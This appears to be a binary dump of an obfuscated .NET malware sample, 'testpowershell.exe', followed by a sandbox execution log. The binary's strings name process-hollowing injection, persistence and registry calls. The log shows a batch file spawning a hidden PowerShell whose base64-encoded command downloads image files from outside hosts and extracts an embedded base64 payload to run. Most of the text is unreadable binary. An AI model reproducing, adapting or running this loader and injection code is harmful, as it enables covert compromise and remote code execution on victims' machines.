{++*++o+0X88i8888{888o X %{ jX} Y,9{;{{_{_o-{3Y*,%{3G-%,{o e,"_X+{ o Y-0}8):{@{o }8Y* 8888888880H~+5_b~+*c_b`~+c_b`~+c`h*++++0]%8^U%8Q y U-\8/+-~8)08(Xb8&-~%X88 2+&~8 Xb(~%X 2::+(~ X b(9~%X 2+~Xb(~%X 2yU:3 +(~b(9~9X 2*( 8( 8 888(8 8880g( } s}s}s} @y} @U}*^+}+ }*++0Z+<, 3 *- +%++$X+#+$-c+ +",%,/++X*+ ++ ++++++0C,&&-++!%,X++%,c++/++X-* ++ ++++++08{:&8{88{88{8{{ Y8{{{Yo{Yo +#{{{~oX 2{{o{{o*85o8786o8685o858488o8D0I%:888{8 _88{88%Y898( { o Y%,[%-y10{_bY_o,({o[Y-1) {_bY_o+{o:{X {?{ o* 8888888880q+G{+C-++>+C{+?+D{+@+A+F{fo{o(*++o++o +++o++078{{ y%qyXhy8{88{:&8{8{88{{o{o +${{~1X Y:90%9Z:X{oX{oX{oX{X{ + {{~ZX X 2+# {{~ZX ,X2 2-n -2Xc/(* 3M{-+Xo{~~o{~~o((*{-+Xo(((*8 8+o8+8*o8,8+8/o8/8.V+{ @*+0r+U{+Q{+K{%{%+?X}+9+:Ҝ+9{{+0y%qyXhy+(*+++ ++++++08{8{8h8{%{%8X}88YҜ88Y( {{y%qyXhy 2 /%{ Y[X}Y({{y%qyXhy2%{[YX}(*888#8$8086858887( }}}y}]}*+'{{+{+ _+{++*+++++o+~++}++}*++++0 #-i8{]8888{iy}8,+-888{Y_-b,XX-{2%- +F{ 13{ Y(Y]%q]Y_bX] X {2*8/ 888887868G8K8J8I0$8D8E{iU}85i[8283X[808080+8/{ X ,o: {2]YY8ZX. +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+> +*(+Syȫ'Q!lQ0w,aQ mjp5c飕d2yҗ+L |~-d jHqA}mQǅӃVlkdzbeO\lcc= n;^iLA`rqgjm Zjz ' }Dңhi]Wbgeq6lknv+ӉZzJgo߹ﾎCՎ`~ѡ8ROggW?K6H+ L J6`zA`Ugn1yiFafo%6hRwG"/&U;(Z+j\1е,[d&c윣ju m ?6grWJz+{8Ғ |!ӆBhn[&wowGZpj;f\eibkaElx TN³9a&g`MGiIwn>JjѮZf@;7SŞϲG0򽽊º0S$6к)WTg#.zfJah]+o*7Z- #+3;CScs !1Aa 0@` BSJBv4.0.30319lJ#~LKP+#Stringsv#UShw#GUIDxw0#BlobW= 1y4Ev)7^hh h"hh 9 Qvh ;Glhh 9Bchzh 2 rh _h, : h%o ! ! %9!49%H9)\9-t9195999=9A9E9I9M9Q+9UA9YS9]e9as9e 9i 9i9i9m9q9u9y9}&9A9\9y99= F F! H JM46N8PNiPN}PNPNPNN N P44 P4Q QiWW7SWS We Xn t y ~ 8WuP46%')"+%-(/+1.3154779#:;'==)@?-CA/FC1IE3LG5OI6RK7UM8XO9[Q;^S]kk k k k k %JWWJJJ J JJ; ; k J !!!,!!!!,!Q!J_!e!z!!!!#"8">"8">"k f"J""k A$,NWk"CVl%7)D)W4h>>IUa l!w1F1h1l9AA!Q6YQYbu%0:FOiZihIsA$gowW%#/-;9EWNgYLcn[zzgyyg4 !)19AIQYaiq 0&&&Q]]0 YA& #' #1 6'5o_ J'i'Yu'&im1y''y''(F!('(6()R(d(11(A(9(A(A(A(A(9(A(A(A(9(A)1'(!i )Y0)0yS):ie)Aiv)L1Ri)bA))A) )y)q)y)y)C*P*yd*****N*)*1*_ "9&*7***7+1;+E+99(aAFAF5A9F`dhlptx|AFAF"AFX\`+d0eAh5iFl:LQ:V+[`eAFtAFy~IAMF').# .+ .3 .; .C .K .S .[ .c .k .s .{ .8 .F .Q .. CC Iacc c """ "@"`"@"`"""" " @"@`""!#AC"C Ca" $f!#ACac ! @ "c @ " "@""@"@"" `@" Dd$$")*+-0$6D67#')*t:LMtNxOPLQ , ; d j o 2fu}Fl={#./AEI s "x "} " " " # # " # # @1B3,PКОD0XUhe& &%&p9& ! " # $ % & ' ( ) * -,:9@?A?B?C?D?E?F?GFH?I?J?LKMKNKOKPKQK5' 6 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 44 -/testpowershell.exetestpowershellEmbeddedAttributeMicrosoft.CodeAnalysismscorlibAttributeSystemNullableAttributeSystem.Runtime.CompilerServicesNullableContextAttribute<>cObjectForm1System.Windows.FormsFormSTARTUPINFOValueTypePROCESS_INFORMATIONfffgfffddfashdgdfgMulticastDelegatefffgafsfdfdgfffdfghfgfdffasdfaffgfdfhgfffasdffafgdfdfahsdgdfgffgffdgffffdfffhfsdasgfgdasffffdaffffgdfgffgddfffaffffhfsgdfgffgdgdfaffffhfffffsfdasdfgfgdgdffdfafhfffsdafsgfgfdasfdafhfffdgdfgCreateProcessVirtualAllocExxWriteProcessMemoryyZwUnmapViewOfSectionnSetThreadContexttGetThreadContexttResumeThreaddCloseHandlerdsssrdgsdsDelegateResumeThreadDelegateWow64SetThreadContextDelegateSetThreadContextDelegateWow64GetThreadContextDelegateGetThreadContextDelegateVirtualAllocExDelegateWriteProcessMemoryDelegateReadProcessMemoryADelegateZwUnmapViewOfSectionDelegateCreateProcessAProcessInformationStartupInformationTools3Progrgdfam3shaHoaaaaaasdmeResourcestestpowershell.PropertiesSettingsApplicationSettingsBaseSystem.ConfigurationDoNotObfuscateAttributeSmartAssembly.AttributesDoNotPruneAttributeDoNotObfuscateTypeAttributeDoNotPruneTypeAttributeDoNotMoveAttributeGetStringSmartAssembly.DelegatesMemberRefsProxySmartAssembly.HouseOfCardsStringsSmartAssembly.StringsEncodingDoNotEncodeStringsAttributeSmartAssembly.ZipInflaterStreamManipulatorOutputWindowInflaterHuffmanTreeInflaterDynHeaderDeflaterTreeDeflaterHuffmanDeflaterEngineDeflaterPendingZipStreamMemoryStreamSystem.IOSimpleZip__StaticArrayInitTypeSize=16__StaticArrayInitTypeSize=1024__StaticArrayInitTypeSize=116__StaticArrayInitTypeSize=120__StaticArrayInitTypeSize=12__StaticArrayInitTypeSize=76{EEE1D952-7F5E-4141-84B5-3EF03AF3374F}PoweredByAttributeNullableFlagsFlagrandomRandomcomponentsIContainerSystem.ComponentModelbutton1Buttonbutton2textBox1TextBoxbutton3button4<>9<>9__3_0Func`2cblpReservedlpDesktoplpTitledwXdwYdwXSizedwYSizedwXCountCharsdwYCountCharsdwFillAttributedwFlagswShowWindowcbReserved2lpReserved2hStdInputhStdOutputhStdErrorhProcesshThreaddwProcessIddwThreadIdResumeThreadWow64SetThreadContextSetThreadContextWow64GetThreadContextGetThreadContextVirtualAllocExWriteProcessMemoryReadProcessMemoryZwUnmapViewOfSectionCreateProcessACreateProcesVirtualAllocEWriteProcessMemorZwUnmapViewOfSectioSetThreadContexGetThreadContexResumeThreaCloseHandlProcessHandleThreadHandleProcessIdThreadIdSizeReserved1DesktopTitleMiscReserved2StdInputStdOutputStdError<>9__2_0resourceManResourceManagerSystem.ResourcesresourceCultureCultureInfoSystem.GlobalizationdefaultInstanceModuleHandleMustUseCacheOffsetValuebyteshashtableDictionary`2System.Collections.GenericcacheStringsoffsetExceptionMessageDECODE_HEADERDECODE_DICTDECODE_BLOCKSDECODE_STORED_LEN1DECODE_STORED_LEN2DECODE_STOREDDECODE_DYN_HEADERDECODE_HUFFMANDECODE_HUFFMAN_LENBITSDECODE_HUFFMAN_DISTDECODE_HUFFMAN_DISTBITSDECODE_CHKSUMFINISHEDCPLENSCPLEXTCPDISTCPDEXTmodeneededBitsrepLengthrepDistuncomprLenisLastBlockinputoutputWindowdynHeaderlitlenTreedistTreewindowwindow_startwindow_endbufferbits_in_bufferWINDOW_SIZEWINDOW_MASKwindowEndwindowFilledMAX_BITLENtreedefLitLenTreedefDistTreeLNUMDNUMBLNUMBLLENSLENSREPSrepMinrepBitsblLenslitdistLensblTreelnumdnumblnumnumrepSymbollastLenptrBL_ORDERIS_FLUSHINGIS_FINISHINGBUSY_STATEFLUSHING_STATEFINISHING_STATEFINISHED_STATEstatetotalOutpendingengineBUFSIZELITERAL_NUMDIST_NUMBITLEN_NUMREP_3_6REP_3_10REP_11_138EOF_SYMBOLbit4ReverseliteralTreed_bufl_buflast_litextra_bitsstaticLCodesstaticLLengthstaticDCodesstaticDLengthfreqslengthminNumCodesnumCodescodesbl_countsmaxLengthdhMAX_MATCHMIN_MATCHWSIZEWMASKHASH_SIZEHASH_MASKHASH_SHIFTMIN_LOOKAHEADMAX_DISTTOO_FARins_hheadprevmatchStartmatchLenprevAvailableblockStartstrstartlookaheadinputBuftotalIninputOffinputEndhuffmanbufstartendbitsbitCount$$method0x6000005-1$$method0x6000005-2$$method0x6000005-3$$method0x6000005-4$$method0x6000009-1$$method0x600005f-1$$method0x600005f-2$$method0x600005f-3$$method0x600005f-4$$method0x6000060-1$$method0x6000060-2$$method0x6000060-3$$method0x6000032-1$$method0x6000032-2StringToUpper~Trim~TextReaderReadToEnd~ConcatPathCombineget_Length~Next~get_Chars~EncodingSystem.Textget_UTF8GetBytes~ConvertToBase64StringIDisposableDispose~ControlSuspendLayout~PerformLayout~ProcessSystem.DiagnosticsWaitForExit~StreamClose~~ButtonBaseset_UseVisualStyleBackColor~ResumeLayout~ProcessStartInfoset_ErrorDialog~set_CreateNoWindow~set_UseShellExecute~set_RedirectStandardOutput~set_RedirectStandardError~set_LocationSystem.DrawingPoint~set_Name~set_Text~TextWriterWriteLine~set_FileName~set_Arguments~set_Size~set_ClientSize~set_TabIndex~add_ClickEventHandler~add_Load~ContainerControlset_AutoScaleDimensionsSizeF~set_AutoScaleModeAutoScaleMode~get_ControlsControlCollection~Add~EnvironmentGetFolderPathSpecialFolderApplicationSetCompatibleTextRenderingDefaultRunEnableVisualStylesop_Equalityop_InequalityFileExistsRegistryKeyMicrosoft.Win32OpenSubKey~SetValue~get_CurrentDirectoryGetTempPathStartsWithStringComparison~ThreadSystem.ThreadingSleepWebClientSystem.Netset_Encoding~DownloadString~Replace~FromBase64Stringget_StartInfo~set_WindowStyleProcessWindowStyle~Start~set_StartInfo~TypeGetTypeFromHandleRuntimeTypeHandleget_AssemblyAssemblySystem.Reflection~SettingsBaseSynchronized~BitConverterToInt32ToInt64ToInt16IntPtrop_ExplicitArrayCopyBufferBlockCopyMarshalSystem.Runtime.InteropServicesAllocHGlobalWriteInt32ReadInt64WriteInt64FreeHGlobalSizeOfToUInt32get_SizeFormatget_StandardOutputStreamReader~get_StandardError~~InternGetExecutingAssemblyGetManifestResourceStream~~Read~.ctorbutton1_ClickEventArgssendereRandomStringRandomNrrndBase64EncodeplainTextbutton2_ClickForm1_LoaddisposingInitializeComponent.cctorb__3_0sRandomString2LoadLibraryANamekernel32GetProcAddressLoadApinamemethodCreateApiInjectpayloadtargetPathargsAlignsourcealignmentAllocatesizeAnde3netframeworknativoobjectInvokegdfshdjjjkghkghssjfgwy4333cbvcvbcvnmvmvbnbbvcdafdaBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresultfjfsddffddffdhffkadhdsafdfadfdkfffjfsddfffddfdhffkadhdsaffdadfdkffdsdsdffhfffdfsdhkdflpApplicationNamelpCommandLinelpProcessAttributeslpThreadAttributesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcessInformationlpAddressdwSizeflAllocationTypeflProtectlpBaseAddresslpBuffernSizelpNumberOfBytesWrittenlpContexthPfdsfhdsdrodscesshandlethreadcontextaddresstypeprotectprocessbaseAddressbufferSizebytesWrittenbytesReadapplicationNamecommandLineprocessAttributesthreadAttributesinheritHandlescreationFlagsenvironmentcurrentDirectorystartupInfoprocessInformationMainlfsgedddddddaadressenablestartupstartupnameinjectionpersistencearchitectureRunPSb__2_0get_ResourceManagerget_Cultureset_Culturevalueget_DefaultiCreateMemberRefsDelegatestypeIDCreateGetStringDelegateownerTypeGetstringIDPublicKeysMatchexecutingAssemblycallingAssemblyGetAesTransformICryptoTransformSystem.Security.CryptographykeyivdecryptGetDesTransformUnzipZipZipAndEncryptZipAndAESversionDecodeHuffmanDecodeInflatelenPeekBitsnDropBitsget_AvailableBitsget_AvailableBytesSkipToByteBoundaryget_IsNeedingInputCopyBytesoutputResetSetInputoffWriteabyteSlowRepeatrepStartdistRepeatCopyStoredCopyDictdictGetFreeSpaceGetAvailableCopyOutputcodeLengthsBuildTreeGetSymbolBuildLitLenTreeBuildDistTreeget_TotalOutFinishget_IsFinishedDeflateBitReversetoReverseInitLcodeDcodedistanceSendAllTreesblTreeCodesCompressBlockFlushStoredBlockstoredstoredOffsetstoredLengthlastBlockFlushBlockIsFullTallyLitlitTallyDistelemsminCodesWriteSymbolcodeSetStaticCodesstCodesstLengthBuildCodesBuildLengthchildsGetEncodedLengthCalcBLFreqWriteTreeUpdateHashInsertStringSlideWindowFillWindowFindLongestMatchcurMatchDeflateSlowflushfinishNeedsInputWriteShortWriteBlockblockget_BitCountAlignToByteWriteBitsbcountget_IsFlushedFlushWriteIntReadShortReadIntCultureDefaultAvailableBitsAvailableBytesIsNeedingInputTotalOutIsFinishedBitCountIsFlushedUnverifiableCodeAttributeSystem.SecurityCompilationRelaxationsAttributeRuntimeCompatibilityAttributeDebuggableAttributeDebuggingModesAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCompanyAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyTrademarkAttributeComVisibleAttributeGuidAttributeAssemblyFileVersionAttributeNeutralResourcesLanguageAttributeTargetFrameworkAttributeSystem.Runtime.VersioningSuppressIldasmAttributeCompilerGeneratedAttributeAttributeUsageAttributeAttributeTargetsDebuggerNonUserCodeAttributeGeneratedCodeAttributeSystem.CodeDom.CompilerSTAThreadAttributeEditorBrowsableAttributeEditorBrowsableStatetestpowershell.Form1.resourcestestpowershell.Properties.Resources.resources{490d53b7-88b9-4f19-8136-194d6f841f26}ByteSystem.CoreEnumerableSystem.LinqIEnumerable`1SelectToArrayCharToStringGetDelegateForFunctionPointerDelegateMicrosoft.VisualBasicConversionsMicrosoft.VisualBasic.CompilerServicesToGenericParameterZeroWin32ExceptionEmptyExceptionInt32RegistryCurrentUserReverseStreamWriterResolveTypeHandleMemberInfoget_NameResolveMethodHandleRuntimeMethodHandleMethodBaseGetMethodFromHandleMethodInfoget_IsStaticFieldInfoget_FieldTypeCreateDelegateGetParametersParameterInfoget_ParameterTypeget_ReturnTypeDynamicMethodSystem.Reflection.EmitGetILGeneratorILGeneratorOpCodesLdarg_0OpCodeEmitLdarg_1Ldarg_2Ldarg_3Ldarg_STailcallCallCallvirtRetGetFieldsBindingFlagsRuntimeHelpersInitializeArrayRuntimeFieldHandleGetModulesModuleget_ModuleHandleget_ModuleGetMethodsLdc_I4get_MetadataTokenSubTryGetValueGetNameAssemblyNameGetPublicKeySymmetricAlgorithmCreateDecryptorCreateEncryptorRijndaelManagedDESCryptoServiceProviderFormatExceptionget_PositionTransformFinalBlockGetCallingAssemblyDateTimeget_Dayget_Hourget_Minuteget_SecondUInt32SeekSeekOriginMathMinset_Positionget_Nowget_Yearget_Monthget_MessageArgumentOutOfRangeExceptionInvalidOperationExceptionInt16MaxWriteByteReadByte183M{490d53b7-88b9-4f19-8136-194d6f841f26}-Wrong Header SignatureUnknown Header {data}ERR 2003: ODM~#tz\V4!%)-1|TX\`dhlp $59=A $ @~048<@D LP T X \Q` dh l p?_ : qt x y| } ] Q m m $ ( ,04 8<@ DHamL P TX\` ed h l p ! " $ $ $ 0x86599 $ Q q y } ] Q m m am e 59((( TWrapNonExceptionThrows ads fsdfd gdfsg fdsfCopyright © 2021)$e298ec96-29bc-469d-8027-4b8f685b3955 5.0.0.12 en-CYI.NETFramework Version=v4.8TFrameworkDisplayName.NET Framework 4.8'"Powered by SmartAssembly 6.9.0.114 =&kT AllowMultipleT Inherited< AllowMultipleT Inherited A3System.Resources.Tools.StronglyTypedResourceBuilder17.0.0.0YKMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator17.4.0.0lD@o Q.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TSkipVerification1 ] ]]1 ] e # $ :j$^V7.b JFa *̭94A,Xg(Rm%N@j<]A;M"?9axRBn:2bySSFeU\A?3]8L N FVAs!JU&u#Lg6R&ۻTr$ٰ0Os]( ۍdl8,6erJ-]N~F3F,,H]CnÞa#>tð)-ddEːc'K[Cw"{Qxc@G$,PvFt9,6zӴg%1?(˺|zuorLlARH&d쐥Zȸr +N@8|B$a48Jlv_ИA/ɂcW$Dp*\ĒT0D* 6qˮ/*)gITisBϠێ"R]*G}*ݶpV$ j*Yyn:bzDfrH=g+}n8םi9J'uX;9B5TvYSܶ"CNNI)UcYb`@9lk/Jy_h> ~I8PU_1ˑEhBJN>j 4]>r@oxNa4vT;y|"`/^mjA8;}*,M[ /kNlSw5JF+2CX#̈́B0)0ctdg l8#(\N (_@h(0`wwxxwwpwwwwwxwxwww~pxwxp""'xw""""z"""'zp"""'p**"'"g**"x"xp**"x~x*x~xpxﹹw~w鹹~wpxp~~~xp~n~wp~nnnnnnngxvww~gnnngwwpxpwwwwxwwwwwwwwwwwwwwwwwxxxwwwwwwxwpwwwwwxpwxpwwwwwwwxpxwpwwwwwww??08? 8G( @wwpwpxwxwxxp'x""'p""j""x*"xx*#x袹x蛛xxpxnnnnwnnwwwpwwwwwwwwxwwwwwxpwxxwwwwwwwwwpwp???a8 DJ(( wpwp"xpzpxxppxwwwwwwpxwwwwwwK(0` zfop̂׋晙ffee^^qqyUUzzqqyymmZFFʦI==xeeҷnddJIIVUUlkutԝǓol|fdڪ潻ҿ簬βkfʶub̻߬y`̳~^̒p̬ɪ忦řĦع̤̲ə~xʔ̙͞ӧڵ̳חSƇxipniu{yˏMYdљвɹ4ux|ϖ˛Ӯ۶mî{juHVݮM3XFt&##0(<5QHm[R I5Ll}}}rrrgggddd]]]===666000WWUZWUWW7'''''7AUVWUC#[/>iiD>8!#7WZZSSSSSSSS~WU'%]469=EFHJNl0#AZ!d"(.469=EFHJMTr7ﰣ[$(.469=EFHJq*7Z˜c$(.469=EFMq*7񰙙ǁ\$(.469=ETP!AWZ $(.469Fr#Zȯe&$(.46J07U믘fm,& .5K#ꯘ%53,& 0Aꯡ/953,&>'Uꯡ]:953,&3 XYYYYO#鯠i=:953,&H d*gKYsssssss诠i=;:953,Mؠ*sqqqqqqq)A瑖m:::::::RmؖksvvvvvvvgA瑖]:::::::M*ؖB$1_`ajbgA摖^::::::;MK[d[6$(.469+A呕)::::EMTnlZ爁ed))dd++ee///^^^OYY䰳{{]^///^^^^QSMJJ}zwmmhvLHFFHJMZUYYYY}}}yyyti=BF JMRSX}}}yyyttDF JMRSU򲥩}}}yyyttpu JMRT}}}yyyttpDOMRTr}}}yyyttppGWRTZluunniiDu????P\Z( @ $%(6*%##(""+(%,))3../1%24'4/4/00111911999K9*E66H23G<2M:8T<:[-fDWD6KP>wY5A|,;cGw%W~BAALLLRDCSSSZVVWXX[[[dKImWFhXWrRRt\\^aJxi]uuQ[]`abbmabjhi|hhzqgzrksqr{{{Yjw\&o![Z|OShhf`nnvattqpwwvt|u}}|~/-<5'@1O2Q5U>`L~Jsˉ8/*>ELVshlpvy˓H֛LIDZđ{Şڥiͤxө~gxz?Y1CJBɄۅҊŞӞʖ٘쏏坝ȢԪΣ麉ǧȠƪթ˷ƹշɹ׺緮짰봵͢٥ěǎɎ̘ҞǸūʦ֬³˶ݹݱ(-L=6''-=9)-9̂9((:1LM19j<1PІ1'̒rKI'ӒWxQަ,I=ӔշSSSSTOۧ 1 ӋߊKۛ'n"&-9ɜM=׹@vi(7۶1׹@uuN⩧P׹?"tyyyyyygK8޶:׿kdwwwwwwwwg0G۶I>_abbbbbpnmF80޵ה(BωhecA`_g. G' 9 666*4woC((7Ή- +̒ .( )L /ks(-ŻE Jl܏ϐqyuv-=Ͽޮ??a#(ch( @|~ƥ˧Ş||cc`IIii}}N>>ͥttoZZ|ee=22;11^]]ǰɯƆ簥˦t843qfb췣л羬Ҥαȭĸ⶘ĝΩ̡ՙ]ɛҦүBA@hŋǎ㷈Ȫ͓£PQ^vҧm˖hhxpṀڳq˂ܳԴct)!!% 1BSk]lmm6a:}}}vvvsssnnnbbbWWWPPPKKK:::444///...---`ErT -468akN.:><1A!%);=9P" 7UeKY_HC J[5G3pWB '~{onyR@$#+wv}|sc2(&zmg]/0j^DqXMfSI* MxthbZQO;?Mulid\VLFMMMMMMMMMMMM(h%(0` %KpmX?+ &888ZZZHHH666y`F1#&@]pyzyoY?& 3HHHzzzbbbSSS===""" gQ:((S0 _@@vNN|SS|RR|RRtMMR66(S'LUUUו{zzYYYCCC111tgU99^^llϢ滻濿Ƨff\\F//zC;;;Ueee籱~xdddOOO?77}SSppٚپxxWW&TSSS)}}}̙̙ΟƠff̳ffF..V```H̞ʙʙ췏liىppF..SaaaHPItݮșșrl̀ppF..AbbbH41`CVsƐ|vvaa&y'cccH ff̳WWSdddH####`y@yyF//(eeeH 0 0 0 0i`쭭\\FeeeH(=(=(=(=&ssyy2""jfffH1I1I1I1I%M3ƩkGG$gggH;Y;Y;Y;Y-cvF̛ߍҊ\\.iiiHDfDfDfDf"3ssM湹zzvu}ffff?jjjH߾߾߾LsLsLsLs&:ssM游雛op߾ɪpp~}5$$EkkkHܹܹܹWWWW/Q |i泳欬ܹܹff5$$ElllHڵڵڵ___[O0viҟppڵĦff5$$EmmmHذذذ\UOMM0`mƓmkymk̀6$$?mmmHլլլ<@EJM2NnyyƋ◗rr8&&.nnnHӧӧӧ9<@EJ70mffff"oooH:ӭѢѢѢ^<@E<#i{ayҶܟXXcpppHӣѮΞΞΞΞΞΞĶZ~FVyyhFF@ rrrHxа̙̙̙̙̙̙̙̙̙řnlkk4""!sssHxϰʔʔʔʔʔʔʔʔʔʔҌpp̅UUCtttHxuβǉǉǉǉǉǉǉǉǉǉǉusjj:&&uuuHyuk̳{{{{{{{{{{{{ojppqKK)vvvHz|㽖pppppppppppppmkfrrXX2 vvvHeeeeeeeeeeeeeedvett^^,8 wwwHZT.9DZZZZZZZZaff̰̕kk~TTxxxHO#ҙ۵ϖw;)2IS[ƊZ붶zRRb׭9֪ʍq`A,"1Ȁ=jllmLLO44`bѳǎlI1+r\d,bʷʹϻûQRR{{{fv{dgqqyyŢѵnnn...'˼irzvxxz{|}}~~Óʟ1118(((ʓbÁȕØ치㰗ۨџΛ̙˗ʗUd{~̗̜͟ΤϩϭѱϵʶŷKLL|&޶ˍ~˗̷̧̜̟̤̫̯̳ͼ; ^~˖̜̟ΤΨάΰδθͼ\]]FFF/ =x«˰۸ཪ´źڹO鼼խwwwX %9DXesssZDooo'MMM??@_Lh( @?m{p_OHWjm^;GGGZܩ|~YXX543$\>?ȌhhޓssmTT*OXXXƆ~B--=ccc#!%)!c&heee"*9tz``hhh"ˬ1?}ȭǰlkk"Ȣ(bOTfƥΥmno"źڳү)Ih@k_qv}"ϣfQҦ}fO]RE{RR.uy}"ŧ㷈vBp=]Ҥpp0 Dwww#qw۬icPՙ]⶘羬^^5""Glll$ԴṀpqd`"wooo5ĸtŞ˧lmmlv͓ŋĝ췣簥SRRgȒǎ̡ΩαлɭC 2GYjy©chvTEEEcc 00h (00 h00 % h dd::4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfov000004b0$Commentsfsdfd,CompanyNamegdfsg0FileDescriptionads2 FileVersion5.0.0.12FInternalNametestpowershell.exeHLegalCopyrightCopyright 2021*LegalTrademarksNOriginalFilenametestpowershell.exe*ProductNamefdsf6 ProductVersion5.0.0.12: Assembly Version5.0.4.12hh& "4e:T3b59,Spawned process "cmd.exe" with commandline "/c ""C:\\Fix.bat" "" (UID: 00000000-00003788) Spawned process "powershell.exe" with commandline "powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \\"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAH